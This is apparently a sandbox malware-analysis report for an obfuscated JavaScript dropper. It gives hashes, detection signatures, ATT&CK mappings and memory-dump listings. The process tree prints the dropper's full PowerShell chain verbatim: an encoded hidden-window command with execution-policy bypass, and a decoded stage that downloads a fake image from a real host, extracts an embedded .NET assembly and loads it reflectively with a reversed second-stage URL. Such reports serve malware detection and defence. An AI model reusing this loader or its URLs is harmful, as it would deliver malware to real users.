523b7eee7d8dc641bf2a9675621b82b3934f222a5ad73746416d333bea7132fa

General

Target

523b7eee7d8dc641bf2a9675621b82b3934f222a5ad73746416d333bea7132fa_JC.js
Size

462KB
MD5

1074a625d6897ffc3776404e964530ae
SHA1

a08400c7e727823abfbf5c98c20daccfad67b682
SHA256

523b7eee7d8dc641bf2a9675621b82b3934f222a5ad73746416d333bea7132fa
SHA512

7d636e3fc278f1487f4e7b9c134c29d509bf7874a99d079e5b2bae8fea079ee1915581527a75d3c62cb837322f7303b4722628bc2434d121fb1b4f37bf99ae21
SSDEEP

12288:HiZZZZ7iZZZZ7iZZZZ7iZZZZdiZZZZ7iZZZZ7iZZZZ7iZZZZ7iZZZZ7iZZZZ7iZ7:i

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372

exe.dropper

https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2584	powershell.exe
7	2584	powershell.exe
9	2584	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2560	powershell.exe
2584	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2560	2404	wscript.exe	28
PID 2404 wrote to memory of 2560	2404	wscript.exe	28
PID 2404 wrote to memory of 2560	2404	wscript.exe	28
PID 2560 wrote to memory of 2584	2560	powershell.exe	30
PID 2560 wrote to memory of 2584	2560	powershell.exe	30
PID 2560 wrote to memory of 2584	2560	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\523b7eee7d8dc641bf2a9675621b82b3934f222a5ad73746416d333bea7132fa_JC.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚I♛♚♛♚9♛♚C♛♚♛♚JwBo♛♚HQ♛♚d♛♚Bw♛♚HM♛♚Og♛♚v♛♚C8♛♚dQBw♛♚Gw♛♚bwBh♛♚GQ♛♚Z♛♚Bl♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBu♛♚HM♛♚LgBj♛♚G8♛♚bQ♛♚u♛♚GI♛♚cg♛♚v♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBz♛♚C8♛♚M♛♚♛♚w♛♚DQ♛♚Lw♛♚2♛♚DE♛♚MQ♛♚v♛♚Dk♛♚Mw♛♚2♛♚C8♛♚bwBy♛♚Gk♛♚ZwBp♛♚G4♛♚YQBs♛♚C8♛♚bgBl♛♚Hc♛♚XwBp♛♚G0♛♚YQBn♛♚GU♛♚XwBy♛♚HU♛♚bQBw♛♚F8♛♚agBz♛♚C4♛♚agBw♛♚Gc♛♚Pw♛♚x♛♚DY♛♚OQ♛♚1♛♚D♛♚♛♚NQ♛♚3♛♚DM♛♚Nw♛♚y♛♚Cc♛♚Ow♛♚k♛♚Hc♛♚ZQBi♛♚EM♛♚b♛♚Bp♛♚GU♛♚bgB0♛♚C♛♚♛♚PQ♛♚g♛♚E4♛♚ZQB3♛♚C0♛♚TwBi♛♚Go♛♚ZQBj♛♚HQ♛♚I♛♚BT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚E4♛♚ZQB0♛♚C4♛♚VwBl♛♚GI♛♚QwBs♛♚Gk♛♚ZQBu♛♚HQ♛♚Ow♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚B3♛♚GU♛♚YgBD♛♚Gw♛♚aQBl♛♚G4♛♚d♛♚♛♚u♛♚EQ♛♚bwB3♛♚G4♛♚b♛♚Bv♛♚GE♛♚Z♛♚BE♛♚GE♛♚d♛♚Bh♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚KQ♛♚7♛♚CQ♛♚aQBt♛♚GE♛♚ZwBl♛♚FQ♛♚ZQB4♛♚HQ♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FQ♛♚ZQB4♛♚HQ♛♚LgBF♛♚G4♛♚YwBv♛♚GQ♛♚aQBu♛♚Gc♛♚XQ♛♚6♛♚Do♛♚VQBU♛♚EY♛♚O♛♚♛♚u♛♚Ec♛♚ZQB0♛♚FM♛♚d♛♚By♛♚Gk♛♚bgBn♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚QgB5♛♚HQ♛♚ZQBz♛♚Ck♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚UwBU♛♚EE♛♚UgBU♛♚D4♛♚Pg♛♚n♛♚Ds♛♚J♛♚Bl♛♚G4♛♚Z♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚RQBO♛♚EQ♛♚Pg♛♚+♛♚Cc♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚V♛♚Bl♛♚Hg♛♚d♛♚♛♚u♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚BP♛♚GY♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚Ck♛♚Ow♛♚k♛♚GU♛♚bgBk♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚SQBu♛♚GQ♛♚ZQB4♛♚E8♛♚Zg♛♚o♛♚CQ♛♚ZQBu♛♚GQ♛♚RgBs♛♚GE♛♚Zw♛♚p♛♚Ds♛♚J♛♚Bz♛♚HQ♛♚YQBy♛♚HQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚GU♛♚I♛♚♛♚w♛♚C♛♚♛♚LQBh♛♚G4♛♚Z♛♚♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚HQ♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚r♛♚D0♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C4♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚Ow♛♚k♛♚GI♛♚YQBz♛♚GU♛♚Ng♛♚0♛♚Ew♛♚ZQBu♛♚Gc♛♚d♛♚Bo♛♚C♛♚♛♚PQ♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQ♛♚g♛♚CQ♛♚cwB0♛♚GE♛♚cgB0♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚7♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚UwB1♛♚GI♛♚cwB0♛♚HI♛♚aQBu♛♚Gc♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚L♛♚♛♚g♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚KQ♛♚7♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚EM♛♚bwBu♛♚HY♛♚ZQBy♛♚HQ♛♚XQ♛♚6♛♚Do♛♚RgBy♛♚G8♛♚bQBC♛♚GE♛♚cwBl♛♚DY♛♚N♛♚BT♛♚HQ♛♚cgBp♛♚G4♛♚Zw♛♚o♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚p♛♚Ds♛♚J♛♚Bs♛♚G8♛♚YQBk♛♚GU♛♚Z♛♚BB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FI♛♚ZQBm♛♚Gw♛♚ZQBj♛♚HQ♛♚aQBv♛♚G4♛♚LgBB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚XQ♛♚6♛♚Do♛♚T♛♚Bv♛♚GE♛♚Z♛♚♛♚o♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚KQ♛♚7♛♚CQ♛♚d♛♚B5♛♚H♛♚♛♚ZQ♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gw♛♚bwBh♛♚GQ♛♚ZQBk♛♚EE♛♚cwBz♛♚GU♛♚bQBi♛♚Gw♛♚eQ♛♚u♛♚Ec♛♚ZQB0♛♚FQ♛♚eQBw♛♚GU♛♚K♛♚♛♚n♛♚EY♛♚aQBi♛♚GU♛♚cg♛♚u♛♚Eg♛♚bwBt♛♚GU♛♚Jw♛♚p♛♚Ds♛♚J♛♚Bt♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚HQ♛♚eQBw♛♚GU♛♚LgBH♛♚GU♛♚d♛♚BN♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚o♛♚Cc♛♚VgBB♛♚Ek♛♚Jw♛♚p♛♚C4♛♚SQBu♛♚HY♛♚bwBr♛♚GU♛♚K♛♚♛♚k♛♚G4♛♚dQBs♛♚Gw♛♚L♛♚♛♚g♛♚Fs♛♚bwBi♛♚Go♛♚ZQBj♛♚HQ♛♚WwBd♛♚F0♛♚I♛♚♛♚o♛♚Cc♛♚d♛♚B4♛♚HQ♛♚LgBz♛♚Hc♛♚ZQBu♛♚C8♛♚MQ♛♚5♛♚C4♛♚Mw♛♚z♛♚C4♛♚Mg♛♚0♛♚C4♛♚Mw♛♚5♛♚DE♛♚Lw♛♚v♛♚Do♛♚c♛♚B0♛♚HQ♛♚a♛♚♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚MQ♛♚n♛♚Ck♛♚KQ♛♚=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('♛♚','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.swen/19.33.24.391//:ptth' , '1'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabAE89.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarBB49.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
06e6f06669a33c0299fa77f32e85ce0d

SHA1
514fd5ce9e32fa9fe20f77706095466beee6a2c0

SHA256
f8216c34a2f723bb43af4ef86c832abeaf53a8ab8f2457006155bddcda19740f

SHA512
6aed5f9b65e25be8ff9303f5148d6accfe9c12f1ecb3d9f742d1f15208244bbc6c273d42126d979492ca01ca9fb167b923b99cf195a7eb0e688e8b6dc799239b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7DMAJJZBGUJY9W6ACW1O.temp

Filesize
7KB

MD5
06e6f06669a33c0299fa77f32e85ce0d

SHA1
514fd5ce9e32fa9fe20f77706095466beee6a2c0

SHA256
f8216c34a2f723bb43af4ef86c832abeaf53a8ab8f2457006155bddcda19740f

SHA512
6aed5f9b65e25be8ff9303f5148d6accfe9c12f1ecb3d9f742d1f15208244bbc6c273d42126d979492ca01ca9fb167b923b99cf195a7eb0e688e8b6dc799239b

Download Submit
memory/2560-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2560-6-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2560-8-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2560-11-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2560-25-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2560-7-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2560-116-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2560-9-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2560-5-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2560-26-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2560-4-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2560-22-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2560-23-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2560-24-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2584-21-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2584-20-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2584-27-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2584-28-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2584-29-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2584-30-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2584-31-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2584-32-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2584-19-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2584-18-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2584-114-0x000000001D1B0000-0x000000001D4D0000-memory.dmp

Filesize
3.1MB

Download
memory/2584-115-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2584-17-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

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